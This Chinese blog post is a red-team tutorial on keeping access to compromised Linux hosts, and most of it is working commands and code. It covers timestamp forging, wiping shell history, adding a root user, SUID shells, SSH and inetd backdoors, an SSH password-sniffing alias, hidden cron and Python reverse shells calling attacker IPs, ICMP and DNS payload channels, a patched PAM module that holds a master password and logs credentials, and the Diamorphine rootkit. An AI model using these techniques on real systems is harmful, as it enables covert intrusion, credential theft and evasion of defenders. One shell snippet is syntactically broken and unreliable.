Linux权限维持

修改文件/终端属性

文件创建时间

如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就可以判断shell.php的生成时间有问题

解决方法:

touch -r index.php shell.php	

touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立 一个新的文件。

文件锁定

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是 查看不出来的,从而达到隐藏权限的目的。

chattr +i evil.php #锁定文件
rm -rf evil.php #提示禁止删除

lsattr evil.php #属性查看

chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除文件

历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

[space]set +o history 
#备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而 这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

[Space]set -o history #将环境恢复原状

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命 令来删除:

history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

history -d [num]

删除大规模历史操作记录,这里,我们只保留前150行:

sed -i '150,$d' ~/.bash_history

passwd增加用户

/etc/passwd各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
/etc/shadow 各部分含义:
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周
期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用

写入举例:

  1. 增加管理员用户
perl -le 'print crypt("passwd","salt")'	#密码passwd

$echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd

suid后门

当一个文件所属主的x标志位为s(set uid),所属主为root,当执行该文件时,其实是以root身份执行的。

  • 必要条件
  1. SUID权限仅对二进制程序有效。
  2. 执行者对于该程序需要具有x的可执行权限
  3. 本权限仅在执行该程序的过程中有效
  4. 在执行过程中执行者将具有该程序拥有者的权限
  • 创建suid权限文件
cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot

ls -al /tmp/.woot
-rwsr-xr-x 1 root root 690668 Jul 24 17:14 .woot
/tmp/.woot
/tmp/.woot -p	
# bash2 针对 suid的一些防护措施,不使用-p参数默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将euid(即suid)强制重置为uid 。如果使用了-p参数,则不会再覆盖。

euid的意思是 effective user id 详情

SSH后门

SSH软连接后门

利用前提

ssh配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证:cat /etc/ssh/sshd_config|grep UsePAM

原理

  • pam_rootok.so模块

​ pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

我们查看/etc/pam.d/su 文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因。

PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。

当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。

建立后门

使用root执行命令

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

然后使用ssh任意密码连接1234端口登录root账户

如果root用户被禁止远程登录时此方式不能直接登录,但是可以利用其他存在的用户身份登录

注意:软链接的路径不是绝对的,但su文件名不能变,否则无法登录,可以通过使用以下命令,出现的则可以用作软连接名称

find /etc/pam.d |xargs grep "pam_rootok"                           

优点:能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成 8081,8080等端口。

SSH公钥免密码登陆

ssh-keygen -t rsa  #生成公钥
cat id_rsa.pub >> authorized_keys 
#将id_rsa.pub内容放到目标.ssh/authorized_keys里

这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的 shell,如struts写入公钥,oracle写入公钥连接,Redis未授权访问等情景。

chmod 600 id_rsa
ssh -i id_rsa root@192.168.10.1

SSH Keylogger记录密码

​ 当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

在当前用户的 .bashrc 里新建一条 alias ,这样可以抓取他登陆其他机器的 ssh 密码

alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

倘若当前系统不存在alias,那么就会影响其正常使用。

grep -A 9 'password' .ssh-2210月101634901802.log

Cron安装后门

在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动(Ubuntu中自动启动)。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。

(crontab -l;printf "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.86.134/6666 0>&1';\r%100c\n")|crontab -
(crontab -l;printf "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/3.19.69.8/88890>&1';\r%100c\n")|crontab -

如果原本没有计划任务:

(crontab -l;printf "*/1 * * * * /home/only/1.sh;\rno crontab for `whoami`%100c\n")|crontab -

这种利用方法巧妙在使用了windows中的 \r( Linux 中显示为M),导致显示截断,从而隐藏我们真实的计划任务,我们使用crontab -e 可以看到真实的计划任务如下:

更多解释参考:

计划任务后门 | Linux 后门系列 - 云+社区 - 腾讯云 (tencent.com)

Cat隐藏

利用cron里面提到的隐藏方法,可以利用这个方法隐藏恶意命令在一些脚本中

cat其实默认使用是支持一些比如 \r 回车符 \n 换行符 \f 换页符、也就是这些符号导致的能够隐藏命令。

使用python生成带有换行符的内容sh:

cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # hidden
cmd_v = "echo 'Hello world!'"                         # visible

with open("test.sh", "w") as f:
output = "#!/bin/sh\n"
output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
f.write(output)

使用 py 生成了一个 test.sh 脚本,同目录下只有他本文件,cat查看一下:

执行一下test.sh:

cat -A 再次查看一下:

其实可以看出来这样就做到了恶意命令隐藏的效果。如果使用 cat -A 查看root文件的话就可以看到计划任务的真正内容了。

vim python 扩展后门

​ 适用于安装了vim且安装了python扩展(绝大版本默认安装),如果服务器没有安装 python应用,可以通过vim编辑器启动python程序,因为如今的vim编辑器为了更好的支持python语言,默认是安装了python扩展,通过vim的python扩展,也可以去启动一个python程序。可通过“vim --version”查看是否已支持python扩展

vim -E -c "py3file dir.py"

#-E是启动一个改进的Ex模式(也就是命令模式)
#-c是去加载一个文件,并去执行。

正向连接

恶意脚本 dir.py 的内容可以是任何功能的后门,比如监听本地的11端口:

#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
       server=socket(AF_INET,SOCK_STREAM)
       server.bind(('0.0.0.0',6666))
       server.listen(5)
       print('waiting for connect')
       talk, addr = server.accept()
       print('connect from',addr)
       proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
               stdout=talk, stderr=talk, shell=True)

反向连接

import socket, subprocess, os;
while:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
    s.connect(("192.168.86.134", 7777));
    os.dup2(s.fileno(), 0);
    os.dup2(s.fileno(), 1);
    os.dup2(s.fileno(), 2);
    p = subprocess.call(["/bin/sh", "-i"]);

隐藏后门

上面执行的后门太明显,netstat -antp 可直接看到,而且命令执行后会有空白窗口,所以需要进行隐藏

隐藏窗口

建议使用正向连接,此方法使用反向连接无法建立长久连接

(nohup vim -E -c "py3file dir.py" > /dev/null  2>&1 &)
#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。

既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上

(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

隐藏进程

mkdir null
mount --bind null /proc/6238
netstat -anpt
##mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

已经成功隐藏了进程名和进程ID,通过netstat和ps命令,均无法查看到进程名与进程ID,实战的时候监听的端口号可疑换成8088等具有迷惑性的端口号,可以更好的隐藏

inetd服务后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。

inetd.conf配置说明

#[service_name] [sock_type] [proto] [flags] [user] [server_path] [args]
#[服务名称] [协议(tcp或udp)][标志(wait或 nowait)][属主][真实服务程序全路径] [真实服务程序名称及参数]

daytime stream tcp nowait root internal

daytime: inetd开始监听daytime服务[默认端口13]
这里的协议名称及默认端口号其实都在 /etc/protocol和/etc/services文件中定义好了

stream: 并为此服务创建流类型的socket

tcp: 使用tcp协议

nowait: 父进程不会等待子进程的退出状态

root internal: 当inetd监听到 daytime 客户端请求,且端口成功连接后,inetd就会fork一个子进程,该子进程属主为root同时它也继承了该子进程的父进程与客户端连接成功后所产生的子socket然后该子进程将该子socket为0,1,2[标准输入,输出及错误输出]发给execl去执行 internal处定义的程序
#这里还需要稍微注意下,定义要执行的程序必须给绝对路径

建立后门

#修改/etc/inetd.conf
$vim /etc/inetd.conf

#discard stream tcp nowait root internal 
#discard dgram udp wait root internal 
daytime stream tcp nowait root /bin/bash bash -i

#开启inetd
$inetd

#nc连接
nc -vv 192.168.86.147 13

隐藏后门

为了更好的隐藏shell,可以直接使用service中定义好的服务,只需要把实际的处理程序替换即可

fido		stream	tcp	nowait	root	/bin/bash bash -i

协议后门

在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉。但是对于UDP(DNS、ICMP)相关流量通常不会拦截。

icmp

使用情况:主机从内到外的服务也被仅用了很多,但是icmp没有被禁用(一般很少禁用ping命令)

ICMP主要原理就是利用ICMP中可控的data字段进行数据传输,具体原理请参考: https://zhuanlan.zhihu.com/p/41154036

工具下载:https://github.com/andreafabrizi/prism

icmp模式
条件:双方能够ping通就行,建议先检查一下这个

#目标主机:192.168.86.147
#攻击机:192.168.86.134

$ vim prism.c
define REVERSE_HOST     "192.168.86.134"(攻击主机)
define REVERSE_PORT     6666 (攻击主机监听的端口)
define ICMP_KEY         "passwd"(密码)

#编译运行
$ gcc  -DDETACH -DNORENAME -Wall -s -o prism prism.c
$ ./prism

#攻击机运行
$ python2 ./sendPacket.py 192.168.86.147 passwd 192.168.86.134 6666

静态模式

#攻击机:192.168.86.134
$ nc -lvnp 6666

#目标主机:192.168.86.147
$ vim prism.c (修改内容同上)
$ gcc -DSTATIC -DDETACH -DNORENAME -Wall -s -o prism prism.c
$ ./prism

DNS

在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷 隐藏在拥有PTR记录和A记录的DNS域中(也可以利用AAAA记录和IPv6地址传输后门)

原理具体请参考:【技术分享】通过DNS传输后门来绕过杀软)

工具下载:https://github.com/DamonMohammadbagher/NativePayload_DNS

生成C类型的payload

msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.86.134 -f c > payload.txt

将payload每行载荷以下面的格式拷贝到dns.txt

IP地址 "{载荷}.域.com"
1.1.1.0 "0xfc0x480x830xe40xf00xe8.1.com"
1.1.1.1 "0xbc0xc80x130xff0x100x08.1.com"

#将开头的unsigned char buf[] = 和结尾的分号删除,然后输入以下命令快速替换
awk '{print NR-1,$0}' payload.txt > dns.txt && sed -i 's/\\//g;s/^/1.1.1./g;s/x/0&/g;s/"$/\.1.com&/g' dns.txt

dnsspoof

使用dnsspoof在kali里生成假冒的DNS服务器

dnsspoof -i eth0 -f /root/dns.txt

NativePayload_DNS

将工具下载后进行源代码编译,使用生产的exe,按照如下的命令语法执行:

NativePayload_DNS.exe "1.1.1."34 "192.168.86.134"

PAM后门

​ 在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令, 所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制!

​ PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。

​ 从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。

利用过程

自动化脚本:https://github.com/litsand/shell/blob/master/pam.sh

  • 查询pam版本
#redhat 
yum list pam

#debian&Ubuntu  
dpkg -s libpam-modules | grep -i version | cut -d' ' -f2

下载对应版本:http://www.linux-pam.org/library/

  • 修改源码
tar -zxvf Linux-PAM-1.1.8.tar.gz

vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

pam_unix_auth.c 在这里你可以修改认证逻辑,改成使用特定密码的后门,当然也可以作为一个记录敏感密码的功能,将记录的密码写入文件记录。

retval = _unix_verify_password(pamh, name, p, ctrl);
		//特定密码登陆
        if(strcmp("onlyQwer123",p)==0){
                return PAM_SUCCESS;
        }
		
		//记录密码写入文件
        if(retval == PAM_SUCCESS){
                FILE * fp;
                fp = fopen("/bin/.sshlog","a");
                fprintf(fp,"%s : %s\n",name,p);
                fclose(fp);
        }

命令行修改

sed -i '/\tretval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, \"micasa\") == 0) { retval = PAM_SUCCESS; }' pam_unix_auth.c
  • 编译源码

解决依赖性

yum install gcc make flex -y
configure&&make

编译后的pam_unix.so在

Linux-PAM-1.1.8/modules/pam_unix/.libs
  • 进行备份和替换
#ubuntu
mv /lib/x86_64-linux-gnu/security/pam_unix.so ./pam_unix.so.bak
cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security

#centos & redhat
64位:/lib64/security/
32位:/lib/security

登陆测试

  • 更改文件时间
stat pam_unix.*


touch pam_unix.so -r pam_unix.so.src  #克隆原始文件时间

#查看原始文件的Selinux上下文
ls -Z pam_unix.so.src

 # 设置Selinux上下文
chcon –reference=pam_unix.so.src pam_unix.so   setsebool -P allow_saslauthd_read_shadow 1   

Rootkit

​ Rootkit是一种通过修改操作系统内核更改指令执行路径,来隐藏系统对象(包括文件、进程、驱动、注册表项、开放端口和网络连接等),以逃避或者规避标准系统机制的程序。

Rootkit源于UNIX系统,Root指拥有所有特权的管理员,Kit是管理工具,由此可以认为Rootkit就是而已获取管理员特权的工具,利用其越权。

Rootkit提供服务而非实现服务,3种服务:隐遁;侦察;控制。

rootkit分为内核级和应用级两种:内核级的比如:Diamorphine,文件级的比如:Mafix

文件级别的rootkit: 一般是通过程序漏洞或者系统漏洞进入系统后,通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后,合法的文件被木马程序替代,变成了外壳程序,而其内部是隐藏着的后门程序。通常容易被rootkit替换的系统程序有login、ls、ps、ifconfig、du、find、netstat等。文件级别的rootkit,对系统维护很大,目前最有效的防御方法是定期对系统重要文件的完整性进行检查,如Tripwire、aide等。

内核级rootkit: 是比文件级rootkit更高级的一种入侵方式,它可以使攻击者获得对系统底层的完全控制权,此时攻击者可以修改系统内核,进而截获运行程序向内核提交的命令,并将其重定向到入侵者所选择的程序并运行此程序。内核级rootkit主要依附在内核上,它并不对系统文件做任何修改。以防范为主。

Mafix

Mafix 是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并 可以自定义验证密码和端口号。应用级rookit,主要替换ls、ps、netstat命令来隐藏文件

Diamorphine

Diamorphine是一个C语言写的,运行于linux系统的rootkit,支持linux 内核版本2.6.x/3.x/4.x。

下载地址:https://github.com/m0nad/Diamorphine.git

安装使用

验证内核是否为 2.6.x/3.x/4.x/5.x

uname -r

下载并编译

cd Diamorphine
make

以root权限加载模块

insmod diamorphine.ko
  • 获取root
kill -64 0

  • 隐藏进程
kill -31 pid

  • 隐藏模块

该模块默认是隐藏的,发送信号63,可以使模块隐藏或显示

kill -63 0
lsmod | grep -i diamorphine

隐藏模块后,只要是 diamorphine_secret开头的文件名或文件夹,都会隐藏,ls,du都找不到

  • 卸载模块

需要先显示模块,卸载需要root权限

kill -63 0
rmmod diamorphine
posted @ 2023-05-05 16:32  空于野  阅读(644)  评论(0编辑  收藏  举报